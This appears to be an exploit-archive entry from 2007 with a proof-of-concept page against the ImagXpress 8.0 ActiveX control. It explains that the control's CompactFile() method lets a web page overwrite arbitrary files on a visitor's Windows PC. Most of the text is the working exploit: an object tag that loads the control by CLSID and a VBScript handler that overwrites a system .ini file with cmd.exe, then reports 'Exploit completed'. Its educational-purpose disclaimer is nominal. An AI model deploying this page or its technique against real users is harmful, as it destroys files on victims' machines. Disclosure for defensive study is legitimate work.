Pegasus Imaging ImagXpress 8.0 Remote Arbitrary File Overwrite

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# Title : Pegasus Imaging ImagXpress 8.0 Remote Arbitrary File Overwrite
# Published : 2007-10-05
# Author : shinnai
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<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
 <b>Pegasus Imaging ImagXpress 8.0 Remote Arbitrary File Overwrite</b>
 url: http://www.pegasusimaging.com/

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 <b><font color='red'>This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 <b>Description:
 Component name: PegasusImaging.ActiveX.ImagXpress8.dll
 Vesrion: 8.0.41.0
 This component contains an insecure "CompactFile()" which overwrites
 arbitrary files on user's pc.
 Passing to the first parameter (sourceFile) of the method an existing
 file as argument (e.g. a well known file as cmd.exe), the file passed
 as argument to the second parameter (destFile) will be overwrite.</b>
-----------------------------------------------------------------------------
<object classid='clsid:6277B638-833D-4315-9D78-60FC451DAF07' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
  Sub tryMe
   test.CompactFile "c:windowssystem32cmd.exe", "c:windowssystem_.ini"
   MsgBox "Exploit completed."
 End Sub
</script>
</span></span>
</code></pre>

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